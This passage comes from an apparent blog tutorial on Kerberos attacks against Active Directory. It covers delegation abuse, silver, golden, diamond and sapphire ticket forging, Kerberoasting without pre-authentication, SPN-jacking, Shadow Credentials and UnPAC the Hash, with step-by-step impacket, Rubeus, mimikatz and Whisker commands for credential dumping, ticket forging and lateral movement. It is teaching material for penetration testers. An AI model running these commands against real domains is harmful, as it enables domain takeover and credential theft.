rbcd.py -delegate-to 'target$' -dc-ip 'DomainController' -action 'read' 'domain'/'PowerfulUser':'Password'
4. # Write to *msDS-AllowedToActOnBehalfOfOtherIdentity* attribute of target computer by adding your EvilComputer to it and giving it delegation rights
rbcd.py -delegate-from 'EvilComputer$' -delegate-to 'Target$' -dc-ip <dc_ip> -action write domain.local/user:password
5. # Using the delegation rights of the computer you created, impersonate the DA and obtain a Service Ticket for the target computer using your created computer account’s credentials
getST.py -spn 'cifs/Target.domain.local' -impersonate <Domain Admin Name> -dc-ip <dc_ip> testlab.com/EvilComputer$:'StrongP@ssw0rd!'
6. # Save ccahe ticket file to your machine as an environment variable
export KRB5CCNAME=Administrator.ccache
7. # Try to connect to the target machine using the Service T icket for that computer’s cifs service that we just obtained
netexec smb <target_ip> --use-kcache
# OR
impacket-psexec <target_ip> -k -no-pass
Constrained Delegation Without Protocol Transition Abuse:
Here we are backtracking to constrained delegation! Constrained Delegation Without Protocol Transition does not give a forwardable service ticket after performing S4U2Self. So how do we get a service ticket to the machine with constrained delegation to use S4U2Proxy? Well we can perform RBCD by writing to the msDS-AllowedToActOnBehalfOfOtherIdentity
attribute so we can get a service ticket to the constrained delegation machine with S4U2Self + S4U2Proxy from RBCD. Then we can attack the target machine in the msDS-AllowedToDelegateTo
attribute (constrained delegation) by performing S4U2Proxy using the service ticket from before as the additional ticket, effectively bypassing the Use Kerberos Only
restriction.
This section is about forging tickets for lateral movement and maintaining persistence.
When normally requesting Service Tickets from the KDC through a TGS-REQ, a user sends their TGT to the TGS, the TGS will copy the user’s info (PAC) from the TGT into the Service Ticket, and will encrypt it with the secret key (password hash) of the service or machine account. Since normally a user does not know the secret key of the service account, they cannot modify their own information. However if we compromised a service or machine account, we can decrypt it and modify the PAC.
A Silver Ticket attack is where we forge a service ticket from scratch, create a PAC with the the information, groups, and privileges we want like Domain Admin, and then encrypt it all using the service’s secret key. After that, we can use the Service Ticket to access the service as a privileged user. However, they are less powerful than Golden Tickets and the rest because Silver Tickets can only be used to access a single machine.
Note 1: By default computer passwords change every 30 days so you must re-obtain the secrets (RC4/AES key) to continue making silver tickets
Note 2: Here are some useful ticket combinations:
Ticket combinations from Zero-Point Security
Creating a Silver Ticket in Linux:
1. # First, get the domain SID
lookupsid.py testlab.com/bob@dc.testlab.com -domain-sids
2. # Now on your Linux machine, use Ticketer to forge the silver ticket as any user for any service (lets do CIFS) on this machine. Can use -nthash <hash> if you want instead
ticketer.py -aesKey <aes256 key> -domain-sid <domain sid> -domain testlab.com -spn cifs/wkstn.testlab.com Administrator
3. # Now that the ticket is forged, we can save it as an environment variable and use it
export KRB5CCNAME=Administrator.ccache
psexec.py wkstn.testlab.com -k -no-pass
Creating a Silver Ticket in Windows:
1. # First, get the domain SID
Import-Module PowerView.ps1
Get-DomainSID
2. # Next on your attacker machine, use Rubeus to forge the silver ticket as any user for any service (lets do CIFS) on this machine. Can use /ntlm:<hash> if you want instead
Rubeus.exe silver /service:cifs/wkstn.testlab.com /aes256:<wkstn-aes256-key> /user:Administrator /domain:testlab.com /sid:<domain sid> /nowrap
3. # Take the base64 Service Ticket from step 2 and pass it into createnetonly
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:TESTLAB /username:Administrator /password:FakePass /ticket:<Service Ticket> /show
While Silver Tickets are basically forged Service Tickets, the rest of the tickets shown are forged TGTs. Normal TGTs are signed with the KDC’s security principal’s hash — the krbtgt account’s password hash. A golden ticket is a way to maintain persistence on a domain after compromising it, since it requires the krbtgt account’s password hash. A golden ticket is just forging a TGT, entering a user as Domain Administrator group and using the krbtgt account’s password hash to encrypt it. After creating this Golden Ticket, we can perform Pass The Ticket using it to access any device in the entire domain.
To forge a Golden Ticket we need these 4 things:
Domain Name
, Domain SID
, Username to Impersonate
, KRBTGT's hash
However these golden tickets can be detected:
Domain controllers don’t track TGTs they have issued so they will accept TGTs that are encrypted with its own krbtgt hash which is the basis of a golden ticket.
It’s possible to detect golden tickets by looking for TGS-REQs that have no corresponding AS-REQ.
Creating Golden Ticket from Linux:
1. # First, let's use lookupsid to get the Domain's SID
lookupsid.py testlab.com/Administrator:'P@@dc.testlab.com">ssw0rd'@dc.testlab.com -domain-sids
2. # Next, we can use secretsdump to dump the krbtgt account's hash
secretsdump.py testlab.com/Administrator:'P@ssw0rd'@192.168.108.133
3. # Lastly, we can craft the golden ticket using ticketer
ticketer.py -aesKey <krbtgt aes256 hash> -domain-sid <Domain SID> -domain testlab.com Administrator
4. # The ticket was saved to a file, so let's export it to an environment variable
export KRB5CCNAME=Administrator.ccache
5. # And then let's use the golden ticket to psexec on the DC
psexec.py dc.testlab.com -k -no-pass
# or use netexec
netexec smb dc.testlab.com --use-kcache
Creating Golden Ticket from Windows:
1. # First, let's import PowerView and then get the Domain's SID
Import-Module PowerView.ps1
Get-DomainSID
2. # Next, let's run mimikatz to perform a dcsync on the domain and get the krbtgt account's aes256 hash
mimikatz.exe
lsadump::dcsync /user:krbtgt /domain:testlab.com
3. # Lastly, we can create a golden ticket using Rubeus
Rubeus.exe golden /domain:testlab.com /user:Administrator /sid:<domain sid> /aes256:<aes256 key of krbtgt> /nowrap
# Take the base64 golden ticket (TGT) and pass into createnetonly
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /username:Administrator /password:<random pass> /domain:<DOMAIN> /ticket:<base64 golden ticket> /show
# Note: You can also run Rubeus' golden command on your Windows attack box, and then copy the base64 ticket to use it later
Diamond tickets are an “upgrade” from the golden tickets because it is more opsec friendly. A diamond ticket is made by requesting a legitimate TGT that was issued by a DC, decrypting it, modifying the desired fields of the ticket, then re-encrypting it. This overcomes the shortcoming of a golden ticket because any TGS-REQs will have a preceding AS-REQ.
Abuse in Windows
1. # First, lets dump the kerberos aes256 key for the krbtgt service account
mimikatz.exe
lsadump::dcsync /user:krbtgt /domain:testlab.com
2. # Next, use Rubeus to request a legit TGT to create the diamond ticket
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /krbkey:<krbtgt aes256 key> /nowrap
3. # Now take the base64 TGT diamond ticket and pass it into createnetonly
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:TESTLAB /username:Administrator /password:FakePass /ticket:<TGT ticket> /show
I will now be covering additional Kerberos attacks like Sapphire Tickets, Kerberoasting without Pre-Authentication, SPN-Jacking, Shadow Credentials, and UnPAC the Hash!
User-to-User (U2U) is a type of authentication exchange allows for a client to connect to a service that is not in possession of a long term secret key (like if a service is running as an unprivileged user and does not have access to system keys to decrypt the tickets). U2U aims to address this problem by allowing clients to request that service tickets are encrypted with the target service’s session key, instead of their normal key (user password hash).
How U2U Works:
sname
field refer to a user instead of a service with a SPN.This request includes the server-user’s TGT in the additional-tickets
field as an additional ticket and sets the ENC-TKT-IN-SKEY
flag to True.ENC-TKT-IN-SKEY
option has been specified and an additional ticket is included in the request, the KDC will decrypt the additional ticket using the session key for the server to which the additional-ticket TGT was issued for, and then it will verify that it is a valid TGT.If successful, the KDC issues a service ticket encrypted with the session key from the additional TGT (instead of normally being the service’s pass hash). This ticket is sent back to the client-user.The advantage of U2U is that the server-user does not need to store a long-term key on their desktop, reducing the risk of key theft.
The disadvantage of U2U is that the server-user must regularly renew their TGT, meaning the server cannot operate autonomously without periodic user intervention.
Sapphire tickets are similar to Diamond tickets because the tickets are not completely forged, they are obtained after a request.
Diamond tickets modify PACs on-the-fly to include arbitrary group IDs, chances are some detection software can detect discrepancies between a PAC’s values and actual AD relationships (e.g. a PAC indicates a user belongs to some groups when in fact it doesn’t).
Sapphire tickets are a way of obtaining these tickets more stealthily by including a legitimate powerful user’s PAC in the ticket. There will be no discrepancy anymore between what’s in the PAC and what’s in Active Directory.
We can use S4U2Self + U2U to impersonate a user, while making the Service Ticket access our particular user and not a service.
To perform the attack, first use a user to receive a TGT from a AS-REP, then use S4U2Self + U2U to generate a TGS-REQ with slightly different fields from normal to obtain a privileged user’s ticket:
PA_FOR_USER
struct contains the impersonated userENC-TKT-IN-SKEY
flag in the kdc-options
field is set to Truesname
) is bob’s usernameadditional-tickets
fieldThe TGS-REP is a Service Ticket for the bob user as Administrator. After obtaining the Administrator’s Service Ticket to Bob, it gets decrypted, and the PAC is extracted and replaces Bob’s original TGT to contain the Administrator’s PAC instead, then change the cname for bob’s TGT to be that of the impersonated user, Administrator.
Abuse in Linux
1. # Let's go ahead and request our Sapphire Ticket
# -aesKey and -nthash are both from bob's password, so do a secretsdump for bob
impacket-ticketer -request -impersonate 'Administrator' -domain 'testlab.com' -user 'bob' -password 'bP@ssw0rd' -aesKey '298e43c5ace9fce374308cb211c14e1617a15ac1b0d02f49c91fe19495424489' -nthash 'b32c8073fee1de4bcce319e730b11252' -domain-sid 'S-1-5-21-2608137413-2884876175-3110901826' Administrator
Before we get into the attack, I want to provide some more information about Kerberoasting.
In the Kerberoasting section I explained that to Kerberoast a user, you use your TGT to request a service ticket from the TGS with a TGS-REQ containing the SPN of the service we want to access located in the sname field. This value of the sname field is called the “Principal Name”. According to RFC4120 section 6.2, the Principal Name has multiple supported types.
By default, the “NT-PRINCIPAL” Name Type is used, which according to this blog by Arseniy, it represents SPN and SAN formats. The Name Type field is shown right above the sname field in a packet capture. This makes what I said about Kerberoasting before true.
However Arseniy also shows that the “NT-ENTERPRISE” Name Type is much more valuable because it supports multiple name formats.
Picture is from this blog by Arseniy
All we have to do is just specify the “NT-ENTERPRISE” Name Type in the field to Kerberoast a user using a samaccountname which was implemented in Rubeus and Impacket, and is why they support supplying username wordlists, as explained in the blog.
Kerberoasting without Pre-Authentication
This is a concept where we can request Service Tickets from the AS instead of from the TGS. Typically we send an AS-REQ to the AS with the sname field containing the krbtgt account which results in a TGT. And if pre-auth isn’t required (AS-REP Roasting) then we don’t have to suply credentials to obtain the TGT. If there is a user with no pre-auth required, then we can actually just change the sname in a normal AS-REQ from the krbtgt service account SPN, to any other service account’s SPN. And if we choose NT-ENTERPRISE as the Name Type, then we can just supply a samaccountname as the sname value instead of a full SPN. This basically means we can use a username wordlist to Kerberoast using an AS-REP Roastable account even if we don’t know the account’s credentials.
Using what we’ve learned, we can use this methodology:
Generate a username wordlist filled with samaccountnames (& SPNs if you want). Using the wordlist, identify AS-REP Roastable accounts.
While trying to crack the obtained hash, we can also use the wordlist and simultaneously kerberoast without pre-authentication through the AS-REP Roastable account to obtain service hashes. After obtaining the service hashes, attempt to crack those.
Abuse in Linux:
1. # Create wordlist of samaccountnames (usernames)
2. # AS-REP Roast using the wordlist
GetNPUsers.py -dc-ip 192.168.108.133 testlab.com/ -no-pass -usersfile users.txt
3. # Now using the obtained samaccountname, specify this user 'alice' for the next command, and still supply the username wordlist.
impacket-GetUserSPNs -no-preauth "alice" -usersfile users.txt -dc-host 192.168.108.133 testlab.com/
Abuse in Windows:
1. # Use the samaccountname of the as-rep roastable user 'alice' for this next command. Supply the username wordlist.
Rubeus.exe kerberoast /nopreauth:alice /spns:users.txt /nowrap
SPN-Jacking is a type of attack that combines Kerberos Constrained Delegation and Discretionary Access Control List (DACL) abuse. When performing a Constrained Delegation attack, you can only access the machine that is in the msDS-AllowedToDelegateTo attribute, and because of the double hop problem, when you get on that machine as let’s say a Domain Admin, you will not be able to access the Domain Controller.
As discussed in the delegation sections, SeEnableDelegation privileges are required to change the constrained delegation configuration which is only given to Domain & Enterprise Admins, but to change SPNs you only need a write primitive like GenericAll or GenericWrite.
SPN-Jacking is where we “change” the devices we can access with constrained delegation by identifying the SPNs in the msDS-AllowedToDelegate attribute and abusing a write primitive like GenericAll or GenericWrite on another machine to add the SPN to the machine so that we can perform constrained delegation to it. This effectively lets us perform constrained delegation attacks on different machines.
There are basically 2 versions of this attack. “Live SPN-Jacking” and “Ghost SPN-Jacking”.
Live SPN-Jacking
This is where we move an SPN from a machine to another machine. We can imagine a scenario where MachineA (which we control) has constrained delegation to the SPN cifs/MachineB which the MachineB$ account currently has in its SPN attribute, and the goal is to compromise the MachineC$ account. If we have write permissions over MachineB$ and MachineC$, we can clear the SPN attribute on MachineB$ to remove the cifs/MachineB SPN, and then add this SPN to the MachineC$ account. This effectively lets us perform constrained delegation over MachineC$ now, because it has the cifs/MachineB SPN in its SPN attribute.
Ghost SPN-Jacking
In this scenario, we can say MachineA (which we control) has constrained delegation to the SPN cifs/MachineD, however this SPN doesn’t actually exist on any machine’s SPN attribute. It is basically a “ghost”. If we had write permissions over the MachineE$ account, we can just add the cifs/MachineD attribute to the MachineE$ account and then perform constrained delegation attacks. This means we only need write permissions over 1 object, because although the configuration existed on MachineA for cifs/MachineD, it didn’t actually exist anywhere, and so we don’t have to remove it from an object. We just have to write it to another object and then perform our constrained delegation attack.
Abuse in Windows:
1. # Show the SPNs listed in the constrained delegation attribute
Get-DomainObject -Identity MachineA$ -Properties 'msDS-AllowedToDelegateTo'
2. # As the privileged user, check the current SPN (remember for later) then remove the SPN from MachineB if required (live SPN-jacking)
Get-DomainObject -Identity MachineB$ -Properties ServicePrincipalName # SAVE THIS TO RESTORE IT
Set-DomainObject -Identity MachineB$ -Clear ServicePrincipalName # THIS WILL CLEAR IT
3. # add SPN to MachineC
Set-DomainObject -Identity MachineC$ -Set @{ServicePrincipalName='cifs/MachineB'}
4. # If the account with constrained delegation is a computer, we can dump the machine's TGT
# Note if the principal was a user, you can skip this step and do /pass:<pass> instead of /ticket:<ticket> for the next step
Rubeus.exe triage /service:krbtgt
Rubeus.exe dump /luid:<luid> /service:krbtgt
5. # request an impersonating service ticket for the SPN through S4U2self + S4U2proxy
Rubeus.exe s4u /msdsspn:cifs/MachineB /impersonateuser:Administrator /domain:testlab.com /user:MachineA$ /ticket:<MachineA TGT> /nowrap
5. # Edit the ticket's SPN (service class and/or hostname)
Rubeus.exe tgssub /ticket:<Base64 service ticket> /altservice:cifs/MachineC /nowrap
6. # Now pass into createnetonly
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /username:Administrator /password:randompasshere /domain:testlab.com /ticket:<modified ticket> /show
Shadow Credentials is an attack that abuses DACL permissions to add “Key Credentials” to the target object to then perform Kerberos authentication using PKINIT and gain access as that user.
For this attack to work, the domain must have ADCS installed and a CA configured, and we must have control of an account with write permissions over the object in order to add the keys.
A lot of the information I will be covering here is from this SpecterOps post. It is a really great read, but I’ll explain it here in a more summarized manner.
What is PKINIT?
As we covered in Pass the Certificate, PKINIT is a way to perform pre-authentication using asymmetrics keys. When a user enrolls into Windows Hello for Business (WHfB), the computer’s TPM (Trusted Platform Module) generates a a public-private key pair for the user’s account. The private key is stored in, and never leaves, the TPM. It is protected by a PIN code which can optionally be replaced with biometrics.
If using the Key Trust model in PKI, the client’s public key is stored in an attribute called msDS-KeyCredentialLink
. The values of this attribute are called Key Credentials. Each Key Credential contains information such as the creation date, the distinguished name of the owner, a GUID that represents a Device ID, and the public key itself.
In normal Kerberos authentication when requesting a TGT, a client will encrypt their pre-auth data with their secret key, which is just their password hash, and send it to the KDC which decrypts it using the same key. This is symmetric encryption. However with PKINIT, the client will encrypt the pre-auth data with their private key, and the KDC will decrypt it with the client’s public key stored in the msDS-KeyCredentialLink
attribute. This is asymmetric encryption.
So, if we are able to write to this attribute on a user or computer object, we can generate our own key pair, add the public key to the attribute, and then use our generated private key to encrypt the current timestamp (the authenticator), and then send this pre-auth data to request a TGT as that principal without knowing their real password or hash!
This is the basis of the Shadow Credentials attack. We will:
msDS-KeyCredentialLink
attributeAbuse in Linux:
1. # Enumerate principals with write access over another principal's msDS-KeyCredentialLink attribute
2. # Compromise the privileged account. After that, list keys that may be present on the target to keep track of this for later when clearing.
pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
3. # Then add the new key pair to the target. Keep track of the certificate file & certificate password
pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test1
4. # Request a TGT for the account using the password and cert. Keep note of the printed 'AS-REP encryption key' for use with UnPAC the Hash.
gettgtpkinit.py -cert-pfx test1.pfx -pfx-pass xl6RyLBLqdhBlCTHJF3R domain.local/user2 user2.ccache
4. # Now save the TGT in to your environment variable to use it
export KRB5CCNAME=user2.ccache
Abuse in Windows:
1. # Let's import PowerView and enumerate principals with write access over the msDS-KeyCredentialLink attribute on other principals.
a. # Import PowerView
Import-Module PowerView.ps1
b. # Identify users/groups/machines with write access over the msds-key-credential-link attribute on a computer.
# Make sure to put in your domain and domain SID!
Get-DomainComputer -Domain <domain> | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -match "ms-DS-Key-Credential-Link" -and $_.SecurityIdentifier -match "<domain SID>-[\d]{4,10}" } | select @{Name="Computer";Expression={ConvertFrom-SID $_.ObjectSID}},objectdn,activedirectoryrights,objectacetype,@{Name="User/Group";Expression={ConvertFrom-SID $_.SecurityIdentifier}} | fl
c. # Now identify users/groups/machines with write access over the msds-key-credential-link attribute on a user.
# Again, make sure to put in your domain and domain SID!
Get-DomainUser -Domain <domain> | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -match "ms-DS-Key-Credential-Link" -and $_.SecurityIdentifier -match "<domain SID>-[\d]{4,10}" } | select @{Name="Computer";Expression={ConvertFrom-SID $_.ObjectSID}},objectdn,activedirectoryrights,objectacetype,@{Name="User/Group";Expression={ConvertFrom-SID $_.SecurityIdentifier}} | fl
2. # Compromise the privileged account from step 1. After that, list keys that may be present on the target to keep track of this for later when clearing.
Whisker.exe list /target:dc$
3. # Next add the new key pair to the target. Keep track of the printed password and the base64 certificate.
Whisker.exe add /target:dc$
4. # Use Rubeus to request a TGT of the target principal by using the base64 cert and the cert's password. Notice this is the same command as in the Pass the Certificate!
Rubeus.exe asktgt /user:dc$ /certificate:<base64 cert> /password:<cert pass> /nowrap
5. # After obtaining the computer TGT, we can do S4U2Self to get a Service Ticket as any user to the target computer.
Rubeus.exe s4u /user:dc$ /ticket:<base64 TGT> /impersonateuser:Administrator /altservice:cifs/dc.testlab.com /self /nowrap
6. # Now pass into createnetonly
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:TESTLAB /username:Administrator /password:randompass /ticket:<base64 service ticket> /show
Let’s add on to what we learned from the Shadow Credentials attack, if a TGT was obtained with PKINIT, and you use it to request a service ticket, the service ticket will contain the NTLM hash of the user/computer that the TGT belongs to, inside the PAC in the PAC_CREDENTIAL_INFO
field. And just like normal, the ticket is encrypted using the key of the service it is issued for. This was implemented for compatibility in the event the user/computer needs to access resources that require NTLM authentication.
Typically we shouldn’t be able to decrypt a service ticket because it will be encrypted with the service’s password hash. Except if we perform U2U + S4U2Self, we will be able to decrypt the service ticket because it is for ourself (remember a U2U service ticket is encrypted with the session key associated with the TGT which we got from the AS-REP), and then we can decrypt the service ticket using the obtained session key to read the PAC and obtain the user/computer’s NTLM hash.
This is the UnPAC the Hash attack.
Abuse in Linux:
# Only proceed below if you did all the abuse steps from the Shadow Credentials Abuse in Linux section.
# Also make sure you have the printed out 'AS-REP encryption key' from before.
1. # After the ticket is exported into the environment variable, we can run getnthash to obtain the NT hash of the account.
getnthash.py -key 894fde81fb7cf87963e4bda9e9e288536a0508a1553f15fdf24731731cecad16 domain.local/user2
Abuse in Windows:
1. # For Windows, it is like the pass the certificate command we know, but we just add the /getcredentials flag
Rubeus.exe asktgt /getcredentials /user:dc$ /certificate:<base64 cert> /password:<cert pass> /domain:testlab.com /dc:dc.testlab.com /show
Kerberos is certainly not an easy topic to grasp at first — it has lots of moving parts and terminology which make it difficult to understand. I created this blog with the goal of breaking down this complex protocol and make it simple enough for people wanting to learn more about how it works and the attacks associated with it. After reading this blog, you should have a solid grasp on Kerberos, and the ability to find and exploit many attacks from both Linux and Windows machines.
(linked in the order of the blog):
User Enumeration & Password Spraying
Kerberos, Kerberos Subprotocols, and Tickets
Delegation and SFU (S4U2Self & S4U2Proxy)
HackTheBox’s module on Kerberos Attacks
Additional Readings
Shadow Credentials